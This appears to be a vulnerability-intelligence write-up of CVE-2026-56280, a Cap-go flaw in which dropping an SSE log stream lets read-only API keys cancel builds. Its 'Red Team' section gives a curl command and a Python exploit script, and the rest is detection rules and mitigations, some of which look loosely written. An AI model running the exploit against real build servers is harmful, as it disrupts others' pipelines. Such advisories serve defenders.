CVE-2026-56280
Executive Summary
CVE-2026-56280 is a privilege inversion vulnerability in Cap-go, a CI/CD and build management platform. The flaw resides in the GET /build/logs/:jobId endpoint, which registers an abort listener on a Server-Sent Events (SSE) stream. When a client disconnects, the listener unconditionally invokes cancelBuildOnDisconnect() using the privileged server-side BUILDER_API_KEY, bypassing the app.build_native permission check required by the explicit POST /build/cancel/:jobId endpoint. This allows read-only API key holders to cancel running native builds, disrupting CI/CD workflows.
The vulnerability affects Cap-go versions before 12.128.2. No public proof-of-concept (PoC) or exploit code is currently available, but the attack vector is straightforward: an attacker with a read-only API key can open the log stream and immediately drop the connection to trigger the abort listener.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cap-go is a Go-based application. The vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby) but impacts the Cap-go server software itself. Organizations using Cap-go should treat this as a critical supply chain risk, as a compromised read-only API key can lead to denial of service against build pipelines.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires a read-only API key
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – can cancel builds, but not modify them
- Availability Impact: High (A:H) – can disrupt native build operations and CI/CD workflows
Threat Level: High. The vulnerability is easy to exploit with minimal privileges and can cause significant operational disruption.
Deep Dive & Mechanics
The vulnerability stems from a design flaw in the SSE log streaming endpoint. The GET /build/logs/:jobId endpoint is intended to provide real-time build logs to authorized users. However, it registers an abort listener on the SSE stream that calls cancelBuildOnDisconnect() when the client disconnects. This function uses the privileged server-side BUILDER_API_KEY to cancel the build, bypassing the permission check that is enforced on the explicit POST /build/cancel/:jobId endpoint.
Attack Flow:
- Attacker obtains a read-only API key (e.g., via social engineering, leaked credentials, or misconfiguration).
- Attacker sends a GET request to
/build/logs/:jobIdwith the read-only API key. - The server establishes an SSE stream and registers an abort listener.
- Attacker immediately drops the connection (e.g., by closing the TCP socket or aborting the HTTP request).
- The abort listener fires and calls
cancelBuildOnDisconnect(), which uses the privilegedBUILDER_API_KEYto cancel the build. - The build is cancelled without the attacker needing the
app.build_nativepermission.
Root Cause: The cancelBuildOnDisconnect() function does not verify that the client had permission to cancel the build. It assumes that any client connecting to the log stream is authorized to cancel the build, which is incorrect.
Vulnerable vs. Patched Code
Vulnerable Code (before 12.128.2):
// In the SSE handler for GET /build/logs/:jobId
func (h *Handler) StreamBuildLogs(w http.ResponseWriter, r *http.Request) {
// ... setup SSE stream ...
notifier := w.(http.CloseNotifier).CloseNotify()
go func() {
<-notifier
// BUG: Unconditionally cancels the build on disconnect
cancelBuildOnDisconnect(r.Context(), jobId)
}()
// ... stream logs ...
}
Patched Code (12.128.2 and later):
// In the SSE handler for GET /build/logs/:jobId
func (h *Handler) StreamBuildLogs(w http.ResponseWriter, r *http.Request) {
// ... setup SSE stream ...
notifier := w.(http.CloseNotifier).CloseNotify()
go func() {
<-notifier
// FIX: Check permission before cancelling
if hasPermission(r, "app.build_native") {
cancelBuildOnDisconnect(r.Context(), jobId)
}
}()
// ... stream logs ...
}
The patch adds a permission check (hasPermission(r, "app.build_native")) before calling cancelBuildOnDisconnect(), ensuring that only users with the appropriate permission can cancel builds via the log stream.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Cap-go instance running version < 12.128.2.
- A read-only API key (e.g., with
app.build_readpermission).
Exploitation Steps:
- Identify a running native build (e.g., via the
/buildsendpoint). - Send a GET request to
/build/logs/:jobIdwith the read-only API key. - Immediately abort the connection (e.g., by closing the TCP socket or using
curlwith a short timeout).
Example using curl:
# Replace <cap-go-url>, <jobId>, and <read-only-api-key> with actual values
curl -H "Authorization: Bearer <read-only-api-key>" \
--max-time 1 \
"https://<cap-go-url>/build/logs/<jobId>"
Automated Exploit (Python):
import requests
import sys
def exploit(target_url, job_id, api_key):
url = f"{target_url}/build/logs/{job_id}"
headers = {"Authorization": f"Bearer {api_key}"}
try:
# Send request and immediately abort
with requests.get(url, headers=headers, stream=True, timeout=0.5) as r:
r.raise_for_status()
# Connection is dropped after timeout
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
print(f"[+] Build {job_id} cancelled successfully")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <target_url> <job_id> <api_key>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
Blue Team
Detection:
- Monitor for rapid connections to
/build/logs/:jobIdfollowed by immediate disconnections. - Alert on multiple build cancellations from the same IP or API key within a short time window.
- Correlate build cancellation events with read-only API key usage.
Hunting Query (ELK/Kibana):
{
"query": {
"bool": {
"must": [
{ "match": { "http.request.method": "GET" } },
{ "regexp": { "http.request.uri": "/build/logs/.*" } },
{ "match": { "http.response.status_code": "200" } },
{ "range": { "http.request.duration_ms": { "lte": 1000 } } }
]
}
}
}
Mitigation:
- Immediately upgrade to Cap-go version 12.128.2 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block or rate-limit the
/build/logs/:jobIdendpoint for read-only API keys. - Review and rotate all API keys, especially read-only keys.
Indicators of Compromise (IOCs)
- Network IOCs:
- Rapid connections to
/build/logs/:jobIdfollowed by immediate disconnections. - Multiple build cancellation events from the same source IP or API key.
- Rapid connections to
- Log IOCs:
- Log entries showing
cancelBuildOnDisconnectbeing called without a correspondingPOST /build/cancel/:jobIdrequest. - Log entries showing build cancellations attributed to read-only API keys.
- Log entries showing
- File IOCs:
- N/A (no file-based indicators).
Detection Engineering
YARA Rule
rule CVE_2026_56280_Cap_go_Privilege_Inversion {
meta:
description = "Detects Cap-go privilege inversion vulnerability in source code"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-56280"
hash = "unknown"
strings:
$s1 = "cancelBuildOnDisconnect" ascii wide nocase
$s2 = "CloseNotify" ascii wide nocase
$s3 = "app.build_native" ascii wide nocase
condition:
all of ($s1, $s2) and not $s3
}
Sigma Rule
title: Cap-go Privilege Inversion via SSE Log Stream
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects exploitation attempts of CVE-2026-56280 by monitoring rapid connections to /build/logs/:jobId followed by immediate disconnections.
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-56280
logsource:
category: webserver
product: cap-go
detection:
selection:
http.method: GET
http.url|contains: /build/logs/
http.status_code: 200
http.duration_ms|lt: 1000
condition: selection
falsepositives:
- Legitimate users with slow connections
level: high
tags:
- attack.t1190
- cve.2026.56280
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-56280 Cap-go Privilege Inversion via SSE Log Stream";
flow:to_server,established;
content:"GET";
http_method;
content:"/build/logs/";
http_uri;
pcre:"/\/build\/logs\/[0-9]+/";
flowint:http.request_duration,<,1000;
classtype:attempted-dos;
sid:1000001;
rev:1;
reference:cve,2026-56280;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Cap-go to version 12.128.2 or later. This is the only complete fix.
- API Key Rotation: Rotate all API keys, especially read-only keys, to minimize exposure.
- Network Segmentation: Restrict access to the Cap-go API to trusted networks only.
Compensating Controls (if upgrade is not possible):
- Reverse Proxy Rule (Nginx): Block or rate-limit the
/build/logs/:jobIdendpoint for read-only API keys.location ~ ^/build/logs/ { if ($http_authorization ~* "read-only") { return 403; } proxy_pass http://cap-go-backend; } - WAF Rule: Create a custom WAF rule to detect and block rapid connections to the log endpoint.
- Monitoring: Implement the Sigma and Suricata rules provided above to detect exploitation attempts.
Long-Term Recommendations:
- Code Review: Conduct a thorough code review of all SSE endpoints to ensure proper permission checks.
- Principle of Least Privilege: Ensure that API keys have the minimum necessary permissions.
- Security Testing: Integrate automated security testing (SAST/DAST) into the CI/CD pipeline.
Valters IT